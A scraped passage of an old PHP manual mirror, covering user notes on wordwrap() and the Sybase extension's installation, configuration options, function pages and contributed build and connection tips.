Currently, the HTML standard offers no way to specify a set of hyphenation rules along with the page (so that it would work in absence of a known dictionnary for that language), so soft hyphens or line breaks should be placed in the content.
warwallace at [nospam]wargardens dot com
22-Jul-2002 12:44
It is also possible to consider this function as a tool for making text wrappable rather than simply for forcing wrapping.

In other words, use a space as the break - rather than "br /" or "p" or \n or whatever - and the text becomes wrappable.

$input = "I want to annoy you by inserting long wooooooooooooooooooooooooooooooooorrrrrrdddss into your guestbook.";
$output = wordwrap($input, 40, ' ', 1);

Will insert spaces into the words longer than 40 characters make the text wrappable by the browser.
toxic79_spam at yahoo dot com
12-Jul-2002 11:02
I've noticed that if you have a string of, say, 8 characters and you set it to wrap at 8 characters with a break tag it will add the break tag after the 8th character even if the string is only 8 characters long. this was frustrating because I only wanted the break tag if there would be more text after it. it would be cool to have a flag that would stop this from happening, or a flag that would put the break tag (or whatever you use) before the number you break on, so you could set it to break every 9th character and it would only insert the tag after the 8th if there are more than 8 characters.

until then, however, here is my lame fix. $str is the string to wrap, $num is the number of characters to wrap after and $break is the text to use to wrap the string.

function my_wordwrap( $str, $num, $break )
{
   // get the wordwrapped string
   $tmp_str = wordwrap( trim( $str ), $num, $break, 1 );

   // get the string length of the breaking tag
   $strlen_break = strlen( $break );

   // if the last $strlen_break characters of the wordwrapped string is $break ...
   if ( substr( $tmp_str, ( 0 - $strlen_break )) == $break )
   {
       // strip the last $strlen_break characters off the end
       $tmp_str = substr( $tmp_str, 0, count( $tmp_str ) - $strlen_break - 1 );
   }

   // return the results
   return $tmp_str;
}
23-May-2002 06:29
I use this for word-wrapping. It brakes up long words (wich are not real words, since often these long, table breaking, texts are URLs or evil text ment to make the tables look bad). I have some problems with URLs, since it will just simply put a <br> tag in it, etc. But for the most part it works perfectly; since few people ever write words beyond 42 characters, and all otherwords are managed within the table by the webbrowser.

$message = ereg_replace("([^ ]{42})","\\1<br>",$message);
lorang at e-connect dot lu
11-May-2002 05:25
Hello,
If you nee a function that limits a text to a certain number of characters, but it should always keep the whole words, try this :

function limit_text($text,$maxchar){
   $split=explode(" ",$text);
   $i=0;
   while(TRUE){
       $len=(strlen($newtext)+strlen($split[$i]));
       if($len>$maxchar){
           break;
       }else{
       $newtext=$newtext." ".$split[$i];
       $i++;
       }
   }
return $newtext;
}
jeff at wecreate dot ca
02-May-2002 06:57
If you want to skip HTML tags you could use something like this...

function better_wordwrap($str,$cols,$cut){
   $tag_open = '<';
   $tag_close = '>';
   $count = 0;
   $in_tag = 0;
   $str_len = strlen($str);
   $segment_width = 0;

   for ($i=1 ; $i<=$str_len ; $i++){
       if ($str[$i] == $tag_open) {
           $in_tag++;
       } elseif ($str[$i] == $tag_close) {
           if ($in_tag > 0) {
               $in_tag--;
           }
       } else {
           if ($in_tag == 0) {
               $segment_width++;
               if (($segment_width > $cols) && ($str[$i] == " ")) {
                 $str = substr($str,0,$i).$cut.substr($str,$i+1,$str_len-1);
                 $i += strlen($cut);
                 $str_len = strlen($str);
                 $segment_width = 0;
               }
           }
       }
   }
   return $str;
}

Jeffrey Sambells
http://www.wecreate.ca
ekgerke at yahoo dot com
12-Mar-2002 02:39
If the last line of string does not end with newline character, wordwrap tends to add trailing garbage.
krang at krang dot org dot uk
07-Mar-2002 04:08
If you are trying to make something like a forum, and you have considered that people my put in LONG words so that the table is stretched out of proportion.

Word wrap will work, but doesnt really do the job intended. With a text box named NEW_MESSAGE submitting the message, this is a possible way to get round it...

// Instance of new line (\r\n) with < br >
// Note, the received string from a text
// area may use different methods of
// symbolising the new line

   $NEW_MESSAGE = str_replace("\r\n", " < br > ", $NEW_MESSAGE);

// Split it into the different words, if
// there to long word add a space then
// put all the words back into a new variable.

   $SPLIT_NEW_MESSAGE = explode(" ", "$NEW_MESSAGE");

   $NUMBER_OF_ELEMENTS = count($SPLIT_NEW_MESSAGE);
   $COUNT = 0;

     // Loop though all the words, if one is longer than
     // 40 characters put in a space, then add this word
     // to the variable containing the processed string

   while ($COUNT <= $NUMBER_OF_ELEMENTS) {

       $CURRENT_WORD = $SPLIT_NEW_MESSAGE[$COUNT];
       $LENGTH_OF_WORD = strlen ($CURRENT_WORD);

       if ($LENGTH_OF_WORD >= 40) {
       $CURRENT_WORD = wordwrap( $CURRENT_WORD, 40, " ", 1);
       }

       $FINAL_NEW_MESSAGE .= "$CURRENT_WORD ";

       $COUNT = $COUNT + 1;
   }

// Now print out the finished string  you might want to
// store it in a database or do some other work to it.

   Echo $FINAL_NEW_MESSAGE;
sheepsATmindless.com
22-Jan-2002 06:12
Wordwrap nonproportional fonts! and exclude html tags!

If you have a problem with PHP' worwrap which you aren't able to give
arguments for NOT parsing through some string parts (like html codes,
which could be longer then ie.80 chars), here's how to do it.

This function, cuts words in $str longer then $cols long, and puts and $cut in
it. It escapes everything whitin "<>".
So "<longggggggggggggtext>" will not be cutted, and just
"longggggggggggggtext", will be cutted! :)

This one can also try to work with nonproportional fonts. Like Arial and Verdana, instead of only fixed fonts.

$str = the string you want to process.
$cols = choose ie.80 for prop.fonts
       choose ie.450 for non prop fonts
       NOTE: $cols are not pixels!
$non_prop = choose "true" for arial,verdana etc.
           false = fixed (courier)
$exclude1 = excludesystem, read the begin of this note. enter '<'
$exclude2 = enter '>'

function sheep_wordwrap($str,$cols,$non_prop,$cut,$exclude1,$exclude2){
  $count=0;
  $tagcount=0;
  $str_len=strlen($str);
  //$cut=" $cut ";
  $calcwidth=0;

  for ($i=1; $i<=$str_len;$i++){
   $str_len=strlen($str);
   if ($str[$i]==$exclude1)
     $tagcount++;
   elseif ($str[$i]==$exclude2){
     if ($tagcount>0)
       $tagcount--;
   }
   else{
     if (($tagcount==0)){
       if (($str[$i]==' ') || ($str[$i]=="\n"))
         $calcwidth=0;
       else{
         if ($non_prop){
           if (ereg("([QWOSDGCM#@m%w]+)",$str[$i],$matches))
             $calcwidth=$calcwidth+7;
           elseif (ereg("([I?\|()\"]+)",$str[$i],$matches))
             $calcwidth=$calcwidth+4;
           elseif (ereg("([i']+)",$str[$i],$matches))
             $calcwidth=$calcwidth+2;
           elseif (ereg("([!]+)",$str[$i],$matches))
             $calcwidth=$calcwidth+3;
           else{
             $calcwidth=$calcwidth+5;
           }
         }
         else{
           $calcwidth++;
         }
         if ($calcwidth>$cols){
           $str=substr($str,0,$i-1).$cut.substr($str,$i,$str_len-1);
           $calcwidth=0;
         }
       }
     }
   }
  }
  return $str;
  //moby rules at 5am! :)
}
timf at tfountain dot co dot uk
02-Jan-2002 07:18
If you're having problems with a small fixed width table/table cell being stretched by people typing entering long text (such as a URL or an email address), then one (MSIE only, unfortunately) solution is to use style="table-layout:fixed" in the <table> tag.  This will break any words that would normally expand your table and mess up your layout.

wordwrap() can't help in this situation because you want to wrap if the text is wider than X pixels, rather than X characters, which of course PHP has know way of knowing.
philip at thepr()jects dot ()rg
07-Dec-2000 12:55
There is a wordwrap() alternative found here :

http://morannon.the-infinite.org/archive/php/word_wrap
add a note add a note

后退 | 起点 | 前进
vsprintf | 上一级 | Sybase Functions


Sybase Functions

PHP 手册
后退 前进

CXLIII. Sybase Functions

简介

需求

安装

To enable Sybase-DB support configure PHP --with-sybase[=DIR]. DIR is the Sybase home directory, defaults to /home/sybase. To enable Sybase-CT support configure PHP --with-sybase-ct[=DIR]. DIR is the Sybase home directory, defaults to /home/sybase.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Sybase configuration options

Name | Default | Changeable | Changelog
sybase.allow_persistent | "1" | PHP_INI_ALL | Available since PHP 4.0.3.
sybase.max_persistent | "-1" | PHP_INI_ALL | Available since PHP 4.0.3.
sybase.max_links | "-1" | PHP_INI_ALL | Available since PHP 4.0.3.
sybase.interface_file | "/usr/sybase/interfaces" | PHP_INI_SYSTEM |
sybase.min_error_severity | "10" | PHP_INI_ALL |
sybase.min_message_severity | "10" | PHP_INI_ALL |
sybase.compatability_mode | "0" | PHP_INI_ALL |
magic_quotes_sybase | "0" | PHP_INI_ALL |

以下是配置选项的简要解释。

sybase.allow_persistent boolean

Whether to allow persistent Sybase connections.

sybase.max_persistent integer

The maximum number of persistent Sybase connections per process. -1 means no limit.

sybase.max_links integer

The maximum number of Sybase connections per process, including persistent connections. -1 means no limit.

sybase.min_error_severity integer

Minimum error severity to display.

sybase.min_message_severity integer

Minimum message severity to display.

sybase.compatability_mode boolean

Compatibility mode with old versions of PHP 3.0. If on, this will cause PHP to automatically assign types to results according to their Sybase type, instead of treating them all as strings. This compatibility mode will probably not stay around forever, so try applying whatever necessary changes to your code, and turn it off.

magic_quotes_sybase boolean

If magic_quotes_sybase is on, a single-quote is escaped with a single-quote instead of a backslash if magic_quotes_gpc or magic_quotes_runtime are enabled.

注: Note that when magic_quotes_sybase is ON it completely overrides magic_quotes_gpc . In this case even when magic_quotes_gpc is enabled neither double quotes, backslashes or NUL's will be escaped.

表格 2. Sybase-CT configuration options

Name | Default | Changeable | Changelog
sybct.allow_persistent | "1" | PHP_INI_SYSTEM | Available since PHP 4.0.4.
sybct.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 4.0.4.
sybct.max_links | "-1" | PHP_INI_SYSTEM | Available since PHP 4.0.4.
sybct.min_server_severity | "10" | PHP_INI_ALL | Available since PHP 4.0.4.
sybct.min_client_severity | "10" | PHP_INI_ALL | Available since PHP 4.0.4.
sybct.hostname | NULL | PHP_INI_ALL | Available since PHP 4.0.4.
sybct.deadlock_retry_count | "0" | PHP_INI_ALL | Available since PHP 4.3.0.

以下是配置选项的简要解释。

sybct.allow_persistent boolean

Whether to allow persistent Sybase-CT connections. The default is on.

sybct.max_persistent integer

The maximum number of persistent Sybase-CT connections per process. The default is -1 meaning unlimited.

sybct.max_links integer

The maximum number of Sybase-CT connections per process, including persistent connections. The default is -1 meaning unlimited.

sybct.min_server_severity integer

Server messages with severity greater than or equal to sybct.min_server_severity will be reported as warnings. This value can also be set from a script by calling sybase_min_server_severity(). The default is 10 which reports errors of information severity or greater.

sybct.min_client_severity integer

Client library messages with severity greater than or equal to sybct.min_client_severity will be reported as warnings. This value can also be set from a script by calling sybase_min_client_severity(). The default is 10 which effectively disables reporting.

sybct.login_timeout integer

The maximum time in seconds to wait for a connection attempt to succeed before returning failure. Note that if max_execution_time has been exceeded when a connection attempt times out, your script will be terminated before it can take action on failure. The default is one minute.

sybct.timeout integer

The maximum time in seconds to wait for a select_db or query operation to succeed before returning failure. Note that if max_execution_time has been exceeded when an operation times out, your script will be terminated before it can take action on failure. The default is no limit.

sybct.hostname string

The name of the host you claim to be connecting from, for display by sp_who. The default is none.

sybct.deadlock_retry_count int

Allows you to define how often deadlocks are to be retried. The default is -1, or "forever".

有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

预定义常量

本扩展模块未定义任何常量。

目录
sybase_affected_rows -- Gets number of affected rows in last query
sybase_close -- Closes a Sybase connection
sybase_connect -- Opens a Sybase server connection
sybase_data_seek -- Moves internal row pointer
sybase_deadlock_retry_count -- Sets the deadlock retry count
sybase_fetch_array -- Fetch row as array
sybase_fetch_assoc -- Fetch a result row as an associative array
sybase_fetch_field -- Get field information from a result
sybase_fetch_object -- Fetch a row as an object
sybase_fetch_row -- Get a result row as an enumerated array
sybase_field_seek -- Sets field offset
sybase_free_result -- Frees result memory
sybase_get_last_message -- Returns the last message from the server
sybase_min_client_severity -- Sets minimum client severity
sybase_min_error_severity -- Sets minimum error severity
sybase_min_message_severity -- Sets minimum message severity
sybase_min_server_severity -- Sets minimum server severity
sybase_num_fields -- Gets the number of fields in a result set
sybase_num_rows -- Get number of rows in a result set
sybase_pconnect -- Open persistent Sybase connection
sybase_query -- Sends a Sybase query
sybase_result -- Get result data
sybase_select_db -- Selects a Sybase database
sybase_set_message_handler -- Sets the handler called when a server message is raised
sybase_unbuffered_query -- Send a Sybase query and do not block

add a note add a note User Contributed Notes
sean dot healey at bayernlb dot co dot uk
28-Oct-2005 06:42
I've finally got PHP 5.0.5 running under Apache2 on Solaris 8 ... connecting to Sybase ASE servers 12.0 and 12.5 using CT-LIB 12.5.

The following was my build procedure -

Build Apache:

./configure \
  --prefix=/usr/local/apache2 \
  --enable-so

make
make install

Edit httpd.conf, adjusting directives to suit the local environment.

Following advice given above, update the Sybase version string in the PHP sybase_ct module header file:

vi /var/build/php-5.0.5/ext/sybase_ct/php_sybase_ct.h

change this line ...
#define CTLIB_VERSION CS_VERSION_100
...to...
#define CTLIB_VERSION CS_VERSION_125

Build PHP:

SYBASE=/..../..../sybase12_5  <<-- path to your Sybase distribution root
SYBASE_OCS=OCS-12_5
LD_LIBRARY_PATH=$SYBASE/$SYBASE_OCS/lib

export SYBASE SYBASE_OCS PATH LD_LIBRARY_PATH

./configure \
  --prefix=/usr/local/php \
  --with-sybase-ct=$SYBASE/$SYBASE_OCS \
  --enable-static=sybase-ct \
  --with-apxs2=/usr/local/apache2/bin/apxs \
  --enable-sysvmsg \
  --enable-sysvsem \
  --enable-sysvshm

make
make test

NOTE: 'make test' will almost certainly fail all of the Sybase functionality, unless you update the test include file to use valid connectivity details for your local server:

vi /var/build/php-5.0.5/ext/sybase_ct/tests/test.inc

  // Change if needed
  define('HOST',    '****');
  define('USER',    '****');
  define('PASSWORD', '****');

make install

Edit Apache's httpd.conf file to associate .php files with a MIME type:

  #
  # PHP script support
  #
  AddType application/x-httpd-php .php .phtml
  AddType application/x-httpd-php-source .phps

Edit the apachectl script, inserting the following variable declarations after environment variables are imported:

  SYBASE=/..../..../sybase12_5
  SYBASE_OCS=OCS-12_5
  LD_LIBRARY_PATH=$SYBASE/$SYBASE_OCS/lib:$LD_LIBRARY_PATH
  export SYBASE SYBASE_OCS LD_LIBRARY_PATH

Ensure you have an 'interfaces' file in the root of your sybase distribution (Above the OCS-12_5 subdirectory), containing a server entry in the following format for each server you want to connect to:

  dataservername_ds
   <tab> master tcp ether <hostname> <port>
   <tab> query tcp ether <hostname> <port>

(if this is your dataserver machine, there will be at least 1 entry already for the local dataserver. It is advisable to install all of the above on a separate machine though, with its own copy of the sybase client)

Cross fingers, and:

apachectl start

If you get 'relocation' errors when starting Apache with the php module configured to load, check the output of 'ldd libphp5.so'. Each of the Sybase libraries should link to files under your Sybase client distribution:

ldd /usr/local/apache2/modules/libphp5.so
   libtcl.so =>    /.../sybase12_5/OCS-12_5/lib/libtcl.so
   libintl.so.1 => /.../sybase12_5/OCS-12_5/lib/libintl.so.1
   libcomn.so => /.../sybase12_5/OCS-12_5/lib/libcomn.so
   libct.so =>      /.../sybase12_5/OCS-12_5/lib/libct.so
   libcs.so =>      /.../sybase12_5/OCS-12_5/lib/libcs.so
   ...
   <snip other libraries>
   ...

If you see 'libintl.so' linking anywhere else, this is likely because the PHP build has incorrectly linked to a slightly different filename - libintl.so.1 - which doesn't exist in the Sybase client. Unfortunately a completely unrelated library of the same name does exist elsewhere in Unix! (Apparently the Sybase version was created before the duplicate was introduced into Unix).

My workaround was to create the following symlink in sybase client library 'lib' directory -

  libintl.so.1 -> ./libintl.so*

'make distclean' in your PHP build directory, and repeat the build as above.
zeldorblat at gmail dot com
19-Sep-2005 04:43
In response to the post by jon dot bertsch at ucop dot edu, it is possible to install both the FreeTDS libraries and the Sybase libraries.  The problem is that the Sybase extension alias's its function names to the mssql_ functions.

Take a look in your PHP source directory under /ext/sybase_ct/php_sybase_ct.c near the top where the sybase_functions[] declaration is.  You can comment out the part that alias's the function names, recompile with FreeTDS and Sybase, and you're all set!
jon dot bertsch at ucop dot edu
25-Jun-2005 02:41
Up to php 5.0.4 you cannot install both sybase and mssql (they use the same function names). It turns out though that if you use the Freetds library you can connect to sybase using the mssql functions (and visa versa I assume). Setup your servers in the freetds.conf file (for sybase use specify version 5.0, for mssql 7 or 8.0) and call the database connection as you would with mssql (mssql_conect). You should be able to connect either sql server or sybase. I don't know if all sybase functions will work as expected but basic querying is succesful. Hope this helps someone.
punkarruso at despammed dot com
14-Dec-2004 09:50
I just want to report that, like explained in bug #27562, selective stored procedures (like sp_helpdb) don't return a resultset with freeTDS >= 0.62. (using php <= 4.3.9)
If you have installed such releases of freeTDS, downgrade to 0.61.x.
matt dot sawyer at gmail dot com
01-Dec-2004 12:46
I've noticed (after days of frustration) that setting the sybase.interface_file to a location other than the default ($SYBASE/interfaces) in php.ini doesn't always work.  I finally gave up and copied my interface entries to the default location, and it works consistently now.  (This is even with sybase.interface_file still set to the non-default location).
greg dot fenton at ianywhere dot com
23-Nov-2004 06:07
For Sybase/iAnywhere SQL Anywhere (a.k.a Adaptive Server Anywhere, a.k.a. ASA), you likely should try the SQLAnywhere PHP module [which now ships with ASA as of 9.0.2]:

   http://www.ianywhere.com/developer/code_samples/sqlany_php_module.html

ASA can work with TDS (Open Client), but if performance is something you care about you likely want to use the native ASA interface.  For info/help, consider posting to sybase.public.sqlanywhere.general or sybase.public.sqlanywhere.linux  (http://www.ianywhere.com/support/newsgroups.html)

Hope this helps,
greg.fenton
info(at)sovall(dot)cz
04-Aug-2004 07:10
This is way to compile Sybase ASE 12.5 with PHP5.0.0 and Apache 2 on Linux:
- install apache
- install ase1252_de_linux.tgz to /opt/sybase-12.5
- shell:# ln -s /opt/sybase-12.5 /opt/sybase
- edit phpsrc/configure and remove all '-linsck'
- edit phpsrc/ext/sybase-ct/php_sybase_ct.h and change CTLIB_VERSION CS_VERSION_100 to 125
- shell:# export SYBASE=/opt/sybase
- phpsrc/configure --with-sybase-ct=/opt/sybase/OCS-12_5
- phpsrc/make and make install
- edit apache2/conf/httpd.conf and add AddType... .php
- create /opt/sybase/interfaces file
SERVERNAME
[tab!]master tcp ether ipAddress port
[tab!]query tcp ether ipAddress port
- apache2/bin/apachectl start

I hope, that I save your time.
1rsv_sign_mail.ru (stas_aka_rsv)
24-Mar-2004 02:20
There is a way how to force php work with both php_mssql.dll and php_sybase_ct.dll. Just open php_sybase_ct.dll in any editor (dont use MS WORD :0) ) and replace all "mssql_" on something like that "masql_".
After that there will not be warnings about double function definitions and php can use php_sybase_ct.dll to access to sybase and php_mssql.dll to access to mssql.
The reason why I did such thing is that I couldnt connect to mssql using php_sybase_ct.dll.
ms at klmoberg dot no
15-Mar-2004 09:10
I solved my connection problems by setting ENV variables directly in PHP.

putenv ("SYBASE=/opt/sybase");
putenv ("SYBPLATFORM=linux");
putenv ("LD_LIBRARY_PATH=/opt/sybase/lib");
putenv ("LC_ALL=default");
putenv ("PATH=\"/opt/sybase/bin:$PATH\"");
putenv ("DSQUERY=SYBASE");

--
Martin Sarajervi
ddc at portalframework dot com
07-Oct-2002 09:05
If you would like to use the wide table support of Sybase ASE 12.5, take advantage of XML/XQL embedded in the database and use varchars of more than 255 char, you'll need to recompile PHP changing this line in the
   php_sybase_ct.h file:

From:

#define CTLIB_VERSION CS_VERSION_100

To:

#define CTLIB_VERSION CS_VERSION_125

This will only run if you have installed Sybase ASE Open Client v. 12.5 and configured PHP telling it where the OCS is... (./configure --with-sybase-ct=$SYBASE_HOME/OCS [...])

--
Diego Dal Cero.
aj at bootsector dot org
05-Sep-2002 05:10
A note for all who may be struggling...  Microsoft did away with the ct-lib support in SQL Server 2000.

I played with it and found a couple of articles related to it on google.  A workaround/different method would be preferrable.  Anybody?
AnatolyKoval at hotmail dot com
17-Jun-2002 06:25
The way to use Sybase Adaptive Server Anywhere+PHP+Apache on Unix http://www.sybase.com/detail?id=1019695
ddc at portalframework.com
15-May-2002 02:19
Compiling PHP with Sybase ASE 12.5 on Linux.

Assuming that you have installed the Sybase ASE 12.5 client in linux, and you have the SYBASE env variable set, you can compile PHP >= 4.0.6 with Sybase ASE 12.5.
Just use:

  --with-sybase-ct=$SYBASE/OCS
instead of
  --with-sybase-ct=$SYBASE
elee at kinwai dot net
15-Apr-2002 05:28
Freetds 5.2 bugs!!

For those who use Freetds 5.2 running under linux connect to sqlserver2000, there is a bugs in selecting NVARCHAR field that data will either duplicated or truncated. To avoid this problem, please use CAST or CONVERT function in sql statement such as:
$query="select CAST(fieldname as nchar(1000)) as fieldname from table"

Feel free to contact us at
aikok@netfront.net
or
elee@kinwai.net

German Chu & Eagle Lee
rudolf at 1stomni dot com
28-Feb-2002 04:44
PhpSybaseAdmin
http://freshmeat.net/projects/phpsybaseadmin/
basilio_mail at chat dot ru
26-Oct-2001 06:56
For those, who might want to use SyBase client not only under Linux, you may try to use open-source FreeTDS library - http://www.freetds.org

Also there's how-to for FreeTDS and PHP:
http://www.freetds.org/userguide/php.html
borreo at softhome dot net
15-Sep-2001 02:29
If you have a Linux machine with Sybase ASE 11.9.2, Php 4.0.6, Apache and Sybase-ct library, don't upgrade to Sybase ASE 12.5 yet, or Apache will stop working.
Since 12.5 is newer than 4.0.6, I guess this will be fixed soon.
borreo at softhome dot net
15-Sep-2001 02:22
If you use IIS and sybase-ct library, be sure to use PHP 4.0.6 or higher, since older version caused crashes.
rbuico at ntep dot nec dot co dot jp
28-Aug-2001 11:54
maybe it can help.
my database is ASE

this is my script....

<?
$cnn = sybase_connect("db_server","sa","password");
$result = sybase_query("Select itemno,stockno from your_db..your_table");
$i = 0;
while ($r = sybase_fetch_array($result)) {
$i++;
$itemno = $r["itemno"];
$stockno = $r["stockno"];
echo "$i    $stockno  $itemno <br>";
}
?>

note that I did not use the
sybase_select_db("db") function because ASE had a default database.
thx...
mad at dactar dot ch
05-Jul-2001 04:16
The best place to get Sybase for Debian :

http://www.dactar.ch/sybase
borreo at softhome dot net
28-Jun-2001 09:33
It's important to note that sybase_ct connect or pconnect were causing GPF.
If you experienced this problem, just update PHP to 4.0.6.
heumann at s-und-i dot com
13-Oct-2000 04:17
This should make the image/blob subject rather complete:
PHP 3 seems to have a bug with image columns in sybase. Apache gets a segmentation fault when trying to retrieve an image column with more than a certain amount of characters (even when using set textsize).
The work around is to use text columns instead. They have the same capacity, only you need to convert the data to ASCII (e.g. Hex, see examples in earlier contributions, bin2hex). Remember to put the data in quotes, too, when INSERTing.
koos at kzdoos dot xs4all dot nl
10-Oct-2000 02:20
A bit more about blobs:
<P>
If you want to retrieve blobs without them getting truncated, do a 'set textsize value' query first.
chptma at hydra dot esfm dot ipn dot mx
06-Sep-2000 04:13
about sybase-ct library

You can download the file from php.net but the samples in the tar (and php) maybe not compile I have this problem in some systems (but not in others with old librarys and old gcc).

Try freetds from www.freetds.org that is ok!

System wthout trouble
Debian 2.1 gcc (2.7.2.3) libc-2.0.7.so
System With trouble
Debian 2.2 gcc (2.95.2) libc-2.1.3.so
RedHat 6.2 gcc [egcs] (2.91.66) libc-2.1.3.so

Please refer to mssql if you try to connect to MS SQL Server!!!
hoadley at xoom dot com
19-Aug-2000 05:41
I would STRONGLY recommend using the ct library over the db library when compiling sybase support with php4+. I ran into strange http child seg faults when trying to issue multiple sql statements in one php page.  Using ct-library there is no problem.
ilya at vtrails dot com
09-Jul-2000 10:03
Amigos, pay attention: sybase_get_last_message() is gone! Read logs or set track_errors=On and use $php_errormsg instead.
james at lasolas dot com
22-Mar-2000 10:28
If you get a segfault with sybase-ct, add a en_US entry to your  $SYBASE/locales/locales.dat file:
<PRE>
[linux]
   locale = en_US, us_english, iso_1
   ...
</PRE>
ericnewman at aol dot com
07-Mar-2000 05:57
I struggled to get this to work for a week. Here's a tip. Log on to your system using the same login as your web server, probably "nobody". Using this account, make sure you can get isql to work. In my case, I had to change the permissions on the /opt/sybase folder, as well as chmod the /opt/sybase/interfaces file to 644. (It was 600 by default, and did not allow anyone but root to read it.) Once I did this, things started to happen...
tcurdt at dff dot st
02-Mar-2000 05:34
Poor documentation on sybase support!! Here's how I made it work... First get the linux ASE from sybase (maybe the ctlibs provided at php.net will do fine, too) Install the ASE rpm. (some distributions don't have system libs etc in the rpm database so you might get some dependency errors. If your systems fits the requirements install with "ignore dependencies") Recompile php with option --with-sybase-ct=/dirtoyoursybasehome. Then you need to set the env variable for (at least)your apache user by export SYBASE=/dirtoyoursybasehome. Now you need to set up your servers (like DSNs for ODBC). Edit the file $SYBASE/interfaces and add your server entries:

SERVERNAME
  query tcp ether 172.16.1.4 4100
  master tcp ether 172.16.1.4 4100

(change IP/FQHN and port to your setup) Now you can check your config by using
$SYBASE/bin/isql -S SERVERNAME -U DBUSER -P PASSWD
If you get a prompt you have connected to your sybase! Hurray! Now you can try with php
$db=sybase_connect("SERVERNAME","DBUSER","DBPASSWD");
And... Voila!
Xtof at fromages-et-desserts dot com
21-Feb-2000 02:18
To store an image file into Sybase try this :

$data = bin2hex(fread(fopen($image,"r"), filesize($image)));
//don't forget the 0x before the hex data.
if(! sybase_query("INSERT INTO test_image (image) VALUES (0x".$data.")")) die ("Unable to store the image.");

To retrieve it just do a select and use a hex2bin function (this one has been submitted by carl@five-ten-sg.com and is the fastest) :

function hex2bin($data) {
     $len = strlen($data);
     return pack("H" . $len, $data);
}

PS : use CT-lib rather than DB-lib (Sybase doesn't work on it anymore!)
add a note add a note

后退 | 起点 | 前进
wordwrap | 上一级 | sybase_affected_rows


sybase_affected_rows

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

sybase_affected_rows -- Gets number of affected rows in last query

Description

int sybase_affected_rows ( [resource link_identifier] )

sybase_affected_rows() returns the number of rows affected by the last INSERT, UPDATE or DELETE query on the server associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed.

例子 1. Delete-Query

<?php
/* connect to database */
sybase_connect('SYBASE', '', '') or
die("Could not connect");
sybase_select_db("db");

sybase_query("DELETE FROM sometable WHERE id < 10");
printf("Records deleted: %d\n", sybase_affected_rows());
?>

上例将输出：

Records deleted: 10

This command is not effective for SELECT statements, only on statements which modify records. To retrieve the number of rows returned from a SELECT, use sybase_num_rows().

See also sybase_num_rows().

add a note add a note User Contributed Notes
neugeypc at cox dot net
01-Jun-2002 02:24
The sybase_affected_rows() function seems to work now with the Sybase DB Library.  Not sure when this improvement was made, but I'm currently running PHP 4.1.2 on Solaris.

Affected rows seems to return a -1 if the query syntax was incorrect on the last submitted query.
Affected rows returns 0 if no rows were affected or another error occured, such as a foreign key violation and also returns 0 if the query was successfully, but no records were affected by the query.
If the query was valid and did affect some rows, sybase_affected_rows() seems to be returning the correct number.
james at lasolas dot com
22-Mar-2000 10:25
If you get a segfault with sybase-ct, add a en_US entry to your $SYBASE/locales/locales.dat file:
<PRE>
[linux]
   locale = en_US, us_english, iso_1
   ...
</PRE>
add a note add a note

后退 | 起点 | 前进
Sybase Functions | 上一级 | sybase_close


sybase_close

(PHP 3, PHP 4, PHP 5)

sybase_close -- Closes a Sybase connection

Description

bool sybase_close ( [resource link_identifier] )

sybase_close() closes the link to a Sybase database that's associated with the specified link link_identifier. If the link identifier isn't specified, the last opened link is assumed.

如果成功则返回 TRUE，失败则返回 FALSE。

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

sybase_close() will not close persistent links generated by sybase_pconnect().

See also sybase_connect() and sybase_pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_affected_rows | 上一级 | sybase_connect


sybase_connect

(PHP 3, PHP 4, PHP 5)

sybase_connect -- Opens a Sybase server connection

Description

resource sybase_connect ( [string servername [, string username [, string password [, string charset [, string appname]]]]] )

Returns a positive Sybase link identifier on success, or FALSE on failure.

sybase_connect() establishes a connection to a Sybase server. The servername argument has to be a valid servername that is defined in the 'interfaces' file.

In case a second call is made to sybase_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling sybase_close().

例子 1. sybase_connect() example

<?php
$link = sybase_connect('SYBASE', '', '')
        or die("Could not connect !");
echo "Connected successfully";
sybase_close($link);
?>

See also sybase_pconnect() and sybase_close().

add a note add a note User Contributed Notes
brunello95 at aol dot com
16-Mar-2005 02:30
freetds is a great, free tool to access your sybase tables with PHP. The setup can be a bit tricky. Use the following to put the environment variables that you need:
<?php
putenv ("SYBASE=/usr/local/freetds");
putenv ("SYBPLATFORM=linux");
putenv ("LD_LIBRARY_PATH=/usr/local/freetds/lib");
putenv ("LC_ALL=default");
putenv ('PATH=\"/usr/local/freetds/bin:$PATH\"');
putenv ("DSQUERY=SYBASE");
?>
Even if not using freetds, you'll need those env vars to make any sybase connection work. Another option is to just load them into your box from the command line.
23-Aug-2002 11:09
Set the appname using the 5th optional parameter:
http://lxr.php.net/source/php-src/ext/sybase_ct/php_sybase_ct.c#713

sybase_connect(
  $host= 'host',
  $user= 'user',
  $pass= 'pass',
  $charset= NULL,
  $appname= 'myapp'
);
Martin dot Man at seznam dot cz
16-Nov-2001 01:06
if you are going to use DSO version of php compiled with sybase support, check that apache is not linked against libdb2. In such case call to dbopen from libsybdb.so will result in a call to dbopen from libdb2.so which is loaded earlier that libsybdb.so, as a workaround either recompile apache without db2 support or link php staticaly with libsybdb.a.

the symptom of wrong behavior is that sybase_connect does not return neither 0 nor meaningful value, it simply returns nothing...
naguiwerian at netscape dot net
19-Sep-2001 12:31
To connect from win32 to Sybase on Unix , you can use sybase open client and make sure to use the hostname in sybase_connect as it is defined in the OC sql.ini file .. it worked that way !
bkw at weisshuhn dot de
06-Apr-2000 08:38
To decrease the level of messages sent back from the dbserver (such as 'changed context...') try:

     sybase_min_server_severity(11);
gregory at bnl dot gov
05-Feb-2000 11:35
If you are having trouble connecting to your sybase database on unix, try checking that the SYBASE environmental variable is set correctly. I was getting connection errors until I found out that this variable had not been set through the server.
add a note add a note

后退 | 起点 | 前进
sybase_close | 上一级 | sybase_data_seek


sybase_data_seek

(PHP 3, PHP 4, PHP 5)

sybase_data_seek -- Moves internal row pointer

Description

bool sybase_data_seek ( resource result_identifier, int row_number )

如果成功则返回 TRUE，失败则返回 FALSE。

